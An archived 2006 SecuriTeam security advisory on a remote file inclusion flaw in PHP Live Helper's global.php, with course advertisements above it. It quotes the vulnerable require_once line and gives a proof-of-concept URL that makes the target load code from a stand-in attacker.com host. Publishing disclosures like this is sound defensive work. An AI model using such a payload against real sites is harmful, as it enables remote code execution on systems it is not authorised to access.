Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] PHP Live Helper File Inclusion

Subject: [UNIX] PHP Live Helper File Inclusion
Date: 6 Aug 2006 17:33:27 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  PHP Live Helper File Inclusion
------------------------------------------------------------------------


SUMMARY

 <http://www.turnkeywebtools.com/products.php?p=phplivehelper> PHP Live 
Helper provides a "reliable real-time customer support and visitor 
communication directly on your site". Input passed to the "abs_path" 
parameter in global.php is not properly verified before being used. This 
can be exploited to execute arbitrary PHP code by including files from 
local or external resources.

DETAILS

Vulnerable code:
...
<?PHP
/*
  global.php - 05/30/2006 - 5:27pm PST - 2.0
   
  PHP Live Helper
  http://www.turnkeywebtools.com/phplivehelper/
   
  Copyright (c) 2001-2006 Turnkey Web Tools, Inc.
*/

define('PLH_SESSION_START', '1');

////////////////////////////
// Load Class & Secure Files
////////////////////////////

require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
.. 

Proof of Concept:
The following URL will include the file found at attacker.com into the 
execution path of the PHP environment:
http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
Sanitize variable $abs_path on global.php.


ADDITIONAL INFORMATION

The information has been provided by Ahmad Maulana a.k.a Matdhule.
The original article can be found at:  
<http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt> 
http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] PHP Live Helper File Inclusion, SecuriTeam <=